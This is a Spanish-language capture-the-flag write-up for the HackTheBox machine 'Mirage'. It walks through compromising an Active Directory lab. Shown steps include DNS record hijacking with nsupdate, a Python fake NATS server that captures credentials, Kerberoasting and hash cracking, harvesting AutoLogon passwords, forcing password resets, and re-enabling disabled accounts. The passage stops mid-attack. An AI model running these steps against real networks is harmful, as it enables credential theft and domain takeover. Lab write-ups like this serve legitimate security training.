Mirage – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
![]()
Sinopsis Link to heading
“Mirage” es una máquina de dificultad Difícil de la plataforma HackTheBox enfocada en explotación a entornos Active Directory (AD). En esta máquina nos enfocaremos en explotación a un servicio Network Application Transfer Standard (NATS) para obtener credenciales para un dominio, movimiento lateral en un entorno AD, habilitar cuentas deshabilitadas y abusar de Active Directory Certificate Services a ciegas por medio de escalada ESC10.
User / Usuario Link to heading
Empezamos un rápido escaneo con Nmap buscando por puertos TCP abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.221.181
Encontramos múltiples puertos abiertos. Entre ellos tenemos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 2049 Network File System (NFS), 4222 un servicio no identificado de momento, 5985 WinRM; entre otros:
❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001,49664,49665,49666,49667,49669,51454,52697,54595,54596,54612,56192,56212,61070 10.129.221.181
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 18:20 -04
Nmap scan report for 10.129.221.181
Host is up (0.45s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-21 05:20:49Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":462,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
| date: 2025-07-21T05:21:54
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 392.53 seconds
Del output podemos ver servicios como Kerberos, Microsoft RPC, LDAP y SMB lo cual indica que podemos estar a ante un entorno Active Directory (AD).
De la misma manera podemos obtener información acerca del dominio con la herramienta NetExec usando el servicio SMB:
❯ nxc smb 10.129.221.181
SMB 10.129.221.181 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
Podemos ver el nombre de máquina dc01 y un dominio mirage.htb. Dado que dc01 puede indicar Domain Controller, éste podría ser el Domain Controller (DC) de un entorno AD.
También podemos ver del último output NTLM: False, lo cual podría indicar que la autenticación NTLM está deshabilitada y sólo se permite mediante Kerberos.
Agregamos el nombre de máquina (dc01), FQDN (dc01.mirage.htb) y dominio (mirage.htb), junto con la dirección IP de la máquina víctima, al archivo /etc/host en nuestra máquina de atacantes:
❯ echo '10.129.221.181 dc01 dc01.mirage.htb mirage.htb' | sudo tee -a /etc/hosts
Adicionalmente, recordemos que habíamos visto el puerto 4222 abierto. Buscando si éste es algún puerto por defecto para algún servicio obtenemos:
4222 is commonly associated with the Network Application Transfer Standard (NATS) messaging system. It is the default port used for client connections to a NATS server. Additionally, port 4222 can be used for real-time task pushes to assets in some systems.NATS es el acrónimo para Network Application Transfer Standard:
NATS or Network Application Transfer Standard, is a high-performance, open-source messaging system designed for cloud-native applications, IoT messaging, and microservices architectures.Por lo que puede que volvamos a este servicio más tarde.
Dado que el servicio NFS estaba expuesto, podemos ver si hay recursos disponibles en éste. Esto lo podemos revisar utilizando el comando showmount:
❯ showmount -e dc01.mirage.htb
Export list for dc01.mirage.htb:
/MirageReports (everyone)
Tenemos un directorio que podemos montar llamado /MirageReports. Dado que éste tiene la flag (everyone), esto significa que cualquier cliente (es decir, cualquier dirección IP) puede montar el recurso.
Creamos un directorio en donde montaremos el recurso accesible (el cual en mi caso llamaré MiracleReportsExport):
❯ mkdir MirageReportsExport
Luego usamos el comando mount para montar el recurso:
❯ sudo mount -t nfs dc01.mirage.htb:/MirageReports ./MirageReportsExport -o nolock
Esto debería de haber montado el recurso compartido.
Podemos revisar el contenido del recurso MirageReports montado:
❯ cd MirageReportsExport
❯ ls -la
total 17493
drwxrwxrwx+ 2 nobody nogroup 64 May 26 17:41 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Jul 20 18:54 ..
-rwx------+ 1 nobody nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf
Podemos ver 2 archivos PDF.
Para acceder a estos archivos PDF podemos copiarlos desde la montura a nuestra máquina de atacantes:
❯ sudo cp Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf ..
Y cambiar el permiso de los archivos copiados para poder leerlos (requiere privilegios):
❯ cd ..
❯ sudo chmod 777 Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
Ya que ya extrajimos todos los contenidos disponibles, y antes de que se nos olvide, desmontamos el recurso:
❯ sudo umount ./MirageReportsExport
Abriendo el archivo Incident_Report_Missing_DNS_Record_nats-svc.pdf muestra un problema donde el equipo de desarrollo no fue capaz de resolver al dominio nats-svc.mirage.htb para un servicio NATS:

El problema yace en que algunos servicios tratan de conectarse al dominio nats-svc.mirage.htb; pero el sistema no sabe resolver a este dominio (servicio DNS) y falla, retornando un error.
También dan evidencia acerca de este problema:

Finalmente, en el mismo reporte proveen algunas consideraciones de seguridad (“Security Considerations”):

Security Consideration:
In development environments, fixed service names such as nats-svc.mirage.htb
are often hardcoded in applications. If the DNS record is missing, some apps
may still attempt to connect to that name. This behavior could be abused by
attackers if DNS records are hijacked.
The Security Team should monitor such cases closely to ensure no
unauthorized DNS responses are injected or spoofed in the network.
Esta consideración claramente nos da una pista sobre qué hacer: secuestrar un registro DNS de manera que éste resuelva a nuestra máquina de atacantes.
Por el otro lado, el segundo archivo Mirage_Authentication_Hardening_Report.pdf muestra lo que NetExec ya había mostrado; la autenticación NTLM ha sido deshabilitada y sólo la autenticación mediante Kerberos está aceptada:

Podemos revisar el servicio por el puerto 4222 (el cual hemos visto que está corriendo NATS) con cURL:
❯ curl http://dc01.mirage.htb:4222/
curl: (1) Received HTTP/0.9 when not allowed
Obtenemos un error el cual puede ser corregido con la flag --http0.9:
❯ curl -s --http0.9 http://dc01.mirage.htb:4222/
INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":559,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
-ERR 'Authorization Violation'
Pero se nos deniega el acceso.
Por lo que podemos intentar lo siguiente: i) Crear un simple script en Python el cual emula un servicio NATS y ii) Modificar los registros DNS de la máquina víctima de manera que el subdominio nats-svc.mirage.htb resuelve a nuestra máquina de atacantes.
Primero, creamos el script en Python el cual emula un servidor NATS:
#!/usr/bin/python3
import socket
HOST: str = '0.0.0.0'
PORT: int = 4222
def run_fake_nats_server()->None:
"""
Emulate a fake NATS server
"""
print(f"[*] Fake NATS Server listening on {HOST}:{PORT}")
# Create a socket that will handle the connection
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)
# Start listening for a connection
while True:
client, addr = s.accept()
try:
print(f"[+] Connection from {addr}")
# Send fake INFO (mandatory for handshake NATS)
client.sendall(b'INFO {"server_id":"fake","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print("[+] Request received:")
print(data.decode())
except Exception as e:
print(f"[-] Something happened:\n{e}")
# Ensure to close the connection
finally:
client.close()
if __name__ == "__main__":
run_fake_nats_server()
Segundo, en otra terminal (sin apagar/echar abajo el servidor server/listener NATS) modificamos los registros DNS con nsupdate para que al subdominio nats-svc.mirage.htb resuelva a nuestra IP de atacantes:
❯ nsupdate
> server 10.129.221.181
> update add nats-svc.mirage.htb 3600 A 10.10.16.80
> send
Donde 10.129.221.181 es la IP de la máquina víctima y 10.10.16.80 es la IP de nuestra máquina de atacantes.
Luego de algunos segundos, obtenemos una conexión en nuestro servidor NATS con Python:
❯ python3 fake_nats_server.py
[*] Fake NATS Server listening on 0.0.0.0:4222
[+] Connection from ('10.129.221.181', 50254)
[+] Request received:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}
Obtenemos un usuario Dev_Account_A y contraseña hx5h7F5554fP@1337!.
Podemos así tratar de acceder al servicio NATS con estas credenciales. Para este propósito, basados en la documentación oficial de NATS, podemos tratar de instalar el binario que interactúa con este servicio usando su repositorio oficial. En mi caso descargaré el archivo amd64.deb:
❯ wget https://github.com/nats-io/natscli/releases/download/v0.2.4/nats-0.2.4-amd64.deb -q
Y lo instalamos:
❯ sudo dpkg -i nats-0.2.4-amd64.deb
Una vez instalado, podemos tratar de acceder al servicio NATS utilizando las credenciales obtenidas:
❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 sub '>' --raw
nil body
{"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ"},"ts":"2025-07-21T07:45:02.1485087Z"}
{"type":"io.nats.jetstream.advisory.v1.api_audit","id":"JY0m358Lqb1BG90redFVCz","timestamp":"2025-07-21T07:45:02.1485087Z","server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","client":{"start":"2025-07-21T00:45:02.1472004-07:00","host":"dead:beef::88","id":649,"acc":"dev","user":"Dev_Account_A","name":"NATS CLI Version 0.2.2","lang":"go","ver":"1.41.1","rtt":539400,"server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","kind":"Client","client_type":"nats"},"subject":"$JS.API.STREAM.INFO.auth_logs","response":"{\"type\":\"io.nats.jetstream.api.v1.stream_info_response\",\"total\":0,\"offset\":0,\"limit\":0,\"config\":{\"name\":\"auth_logs\",\"subjects\":[\"logs.auth\"],\"retention\":\"limits\",\"max_consumers\":-1,\"max_msgs\":100,\"max_bytes\":1048576,\"max_age\":0,\"max_msgs_per_subject\":-1,\"max_msg_size\":-1,\"discard\":\"new\",\"storage\":\"file\",\"num_replicas\":1,\"duplicate_window\":120000000000,\"compression\":\"none\",\"allow_direct\":true,\"mirror_direct\":false,\"sealed\":false,\"deny_delete\":true,\"deny_purge\":true,\"allow_rollup_hdrs\":false,\"consumer_limits\":{},\"allow_msg_ttl\":false,\"metadata\":{\"_nats.level\":\"1\",\"_nats.req.level\":\"0\",\"_nats.ver\":\"2.11.3\"}},\"created\":\"2025-05-05T07:18:19.6244845Z\",\"state\":{\"messages\":5,\"bytes\":570,\"first_seq\":1,\"first_ts\":\"2025-05-05T07:18:56.6788658Z\",\"last_seq\":5,\"last_ts\":\"2025-05-05T07:19:27.2106658Z\",\"num_subjects\":1,\"consumer_count\":0},\"cluster\":{\"leader\":\"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ\"},\"ts\":\"2025-07-21T07:45:02.1485087Z\"}"}
Podemos ver un “stream” llamado auth_logs.
Basados en la documentación oficial de NATS y este blog, podemos tratar de leer “streams” ejecutando:
nats stream view <stream>
Por tanto, vemos el stream llamado auth_logs:
❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 stream view 'auth_logs'
[1] Subject: logs.auth Received: 2025-05-05 03:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[2] Subject: logs.auth Received: 2025-05-05 03:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[3] Subject: logs.auth Received: 2025-05-05 03:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[4] Subject: logs.auth Received: 2025-05-05 03:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[5] Subject: logs.auth Received: 2025-05-05 03:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
20:50:18 Reached apparent end of data
Obtenemos un usuario david.jjackson y una contraseña pN8kQmn6b86!1234@.
Revisamos con Kerbrute si este usuario existe en el dominio:
❯ echo 'david.jjackson' > david_jjackson_name.txt
❯ kerbrute userenum -d mirage.htb --dc 10.129.221.181 david_jjackson_name.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/20/25 - Ronnie Flathers @ropnop
2025/07/20 20:56:36 > Using KDC(s):
2025/07/20 20:56:36 > 10.129.221.181:88
2025/07/20 20:56:36 > [+] VALID USERNAME: david.jjackson@mirage.htb
2025/07/20 20:56:36 > Done! Tested 1 usernames (1 valid) in 0.267 seconds
Dado que sólo la autenticación con Kerberos está habilitada, podemos tratar de obtener un Ticket Granting Ticket (TGT) en nombre del usuario david.jjackson utilizando la herramienta getTGT.py de la suite de Impacket:
❯ impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Obtenemos el error KRB_AP_ERR_SKEW(Clock skew too great).
Para evitar este error, utilizamos faketime junto con ntpdate (instalables con sudo apt faketime ntpdate -y) y utilizamos el comando anterior:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in david.jjackson.ccache
Dado que tenemos credenciales válidas, podemos revisar si existen usuarios Kerberoasteable (vulnerables a Kerberoasting) con impacket-GetUserSPNs:
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs mirage.htb/david.jjackson -k -no-pass -dc-ip 10.129.221.181 -dc-host dc01.mirage.htb -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------ ------------ ------------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb 2025-06-23 17:18:18.584667 2025-07-04 16:01:43.511763
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$9171d33b10880028a18a02b092848571$6b579b17698d6e0e6d322f9560e444034d713031ca28f1ec0ea18079078d332487419a50e174a576ed242b6e7b505baae305bb370e98edc66a9fe76833e5edea3ae80c6ac10faa4f5cb64339a40c82720add663b31be8b52b3cd48cf0204a2868dcaa8a99ab6d8fe18580ea217d1d79d4577bc1bffd17298aeab1e54428c02be320222f35aa5d55cdf03baae739d2cbabacac56287c7cb0d4cb7ea2acf7ba98f9d8af0a66959c2a7b5ba90b88b096966cda064cb44425bf87123a9288cab9fc5493873691dd2d3789524157d08ce07f7fcaea14b46df888de4044d1c18c30188317c5345e7d9fd47acc3ef292e7fd9c8ebafef57758028a2fe75aaa5e29023fee25fd39bb53f8d0de33455bf483f8404da8c181a9f26567d3331a1cfd5d603815ccdd9bc04e267250c80135d480c3b603198a72c7fd95bd38b86a4e8ee4357f1965d482059dd2c31c3aef6040ad27d9144a30d7328376800a3c45327c67a6e7fc48aff5bd2fa9c9eaa52013f29216a2f87b688058eba8662e531a006f2cb282a0d20cbf1a0339f96f241f667d5b3ee56f7a59a6a6bbc88c62570bd411c07e600716f716dc3a48c1008376f5dcc3c1e4be531058e398d77eb9e0fffb6bdb9a27cae2ce87e43a4eca43dc96f0d8fc748e7f6cbdcf51cf8230cf6a7f41cc00eb7f9fec9239c2cd867b357ab0d7d664adf6b4ec090521af376c252135adc4d996b8c99227466960e7eac60cb20764bda91828005282065706c61888f015b9ef1c631c757d1a365075dbbb6acf0bc9a34af347f1cffe71d7a5a3b53a13f0c5d83f4b52fefc6b6a07ab2ab16f0c1f8bd38667c439b5d5023131666a274cc054875c6108d1b8a89dc61f574836e6f0f78a89d1c560c672293d5a5f6a558ca8981b4f9dea9d680d4127512524b422657efa753483dcbdcf67c36da64e1ce1a7e52e63ffbc46a933347e83aff443fce32a2a3cc9aa7cbaf4a1c4550e5b2039a380b5c64a8a75c1dd6e727a9ce0318ae886f47111028c2f0f7c7c1b641034b61c819fc85deba6fdbe5d3ab91dd9c0a7b7aea630013058538808a101d5c18479a7624857ac8c8413b45962373f9e279d4cc678ccfdc09242c97599f404f96d25aec4e23c041b0f1c0f03ef2239cf4e3a72e3ef5f29e1385c12690328d858db3bfe926e59fd09605c8f2dbc2d53cee085d2d1c6bd60081e3a46c96bc77300b67f5922c7f96ad5a2f954b620bef0e8bf9746b1aaa84dca6126bc4fe3ff7df07a42d724d0d7825bf2dc996c2df0318f50264a5c46a604729ac5e141afc4b2e5299d5deae8222718f5f1684bbcf609afe3c877c121cf8d979419ddf8593633822d701ac05ab1e7d9df2c4e824c6fc97d51b93f7170fb2b7c46522e806e7c865685771c376d9bfb74f144462bb9120570ae6f2b77dc765caa8b86bab10d65a68bd3faca1d5e1690900aa59879fe55b47130a03e9cfd4170afb698f9ee76bccb72d885f29ceb535ce4bd59df80a8446868cc2937ca3f30fc908238956d4b364b21b63d384dc1c3e64531067158223f8dc64c0ea8eee3dbbf583ae9c39ce8f5b04c5
Obtenemos un hash.
Guardamos este hash en un archivo e intentamos un Brute Force Password Cracking con JohnTheRipper (john) utilizando el diccionario de contraseñas rockyou.txt:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt nathan_aadam_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3edc#EDC3 (?)
1g 0:00:00:08 DONE (2025-07-20 22:01) 0.1218g/s 1518Kp/s 1518Kc/s 1518KC/s 3hackfu..3eb45ac9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos tratar de mapear el dominio con Bloodhound. Para ellos primero extraemos un TGT del usuario david.jjackson y usando éste con bloodhound-ce-python (dado que en mi caso utilizo Bloodhound: Community Edition, o CE):
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -c ALL -u david.jjackson -k -no-pass -d mirage.htb -ns 10.129.221.181 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: mirage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 01M 06S
INFO: Compressing output into 20250721043420_bloodhound.zip
Subimos el archivo .zip generado a Bloodhound, podemos ver que el usuario es nathan.aadam es parte del grupo IT_Admins; grupo el cual es miembro de Remote Management Users. Esto indica que como el usuario nathan.aadams podemos acceder a la máquina víctima a través del servicio WinRM. Para este propósito, primero solicitamos un TGT como el usuario nathan.aadams (obtenido del Kerberoasting):
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in nathan.aadam.ccache
Podemos utilizar NetExec para obtener un archivo de configuración para tratar de acceder a la máquina con evil-winrm con autenticación de Kerberos (junto con faketime y ntpdate para evadir errores de tiempo):
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc smb dc01.mirage.htb -k --use-kcache --generate-krb5-file /tmp/krb5.conf
SMB dc01.mirage.htb 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc01.mirage.htb 445 dc01 [+] MIRAGE.HTB\david.jjackson from ccache
Una vez hemos generado el archivo de condiguración lo copiamos:
❯ cat /tmp/krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = MIRAGE.HTB
[realms]
MIRAGE.HTB = {
kdc = dc01.MIRAGE.HTB
admin_server = dc01.MIRAGE.HTB
default_domain = MIRAGE.HTB
}
[domain_realm]
.MIRAGE.HTB = MIRAGE.HTB
MIRAGE.HTB = MIRAGE.HTB
❯ sudo cp /tmp/krb5.conf /etc/krb5.conf
Y usamos el TGT para el usuario nathan.aadams para acceder como este usuario a través de evil-winrm:
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
Podemos extraer la flag desde el Desktop del usuario nathan.aadam.
NT Authority/System - Administrator Link to heading
Buscamos por credenciales de AutoLogon en la máquina víctima y obtenemos algo:
*Evil-WinRM* PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-String 'LastUsedUsername|DefaultPassword'
LastUsedUsername REG_SZ mark.bbond
DefaultPassword REG_SZ 1day@atime
Obtenemos credenciales para un usuario llamado mark.bbond.
Buscando por este usuario en Bloodhound podemos ver que el usuario mark.bbond es parte del grupo IT_Support, grupo el cual tiene el permiso ForceChangePassword sobre el usuario javier.mmarshall. Al mismo tiempo, el usuario javier.mmarshall tiene el permiso ReadGMSAPassword sobre la cuenta de máquina Mirage-Service$. En resumen, el camino mostrado por Bloodhound es:

El plan es entonces:
- Dado que
mark.bbondes parte del grupoIT_Support, cambiamos la contraseña del usuariojavier.mmarshall. - Una vez hemos cambiado la contraseña del usuario
javier.mmarshall, podemos aprovecharnos del permisoReadGMSAPasswordpara leer el hash NTLM de la cuentamirage-service$.
Primero, solicitamos un TGT como el usuario mark.bbond:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/mark.bbond:'1day@atime' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in mark.bbond.ccache
Y cambiamos la contraseña del usuario javier.mmarshall utilizando el TGT de mark.bbond con bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!'
[+] Password changed successfully!
Donde hemos cambiado su contraseña a GunZF0x123$!.
Tratamos de obtener un TGT como el usuario javier.marshall:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Obtenemos el error KDC_ERR_CLIENT_REVOKED. ¿Por qué?
Si revisamos los atributos del usuario javier.mmarshall podemos ver que dentro de userAccountControl tiene ACCOUNTDISABLE tal cual como podemos ver con bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall | grep -a userAccountControl
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
o:
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb
Esto también puede ser hallado buscando por este usuario en Bloodhound, buscando por el usuario javier.mmarshall y revisando su flag/atributo Enlabled:

Donde podemos ver que el valor de este atributo es False (es decir, la cuenta está deshabilitada).
Por ende, podemos tratar de habilitar esta cuenta utilizando el TGT de mark.bbond junto con bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
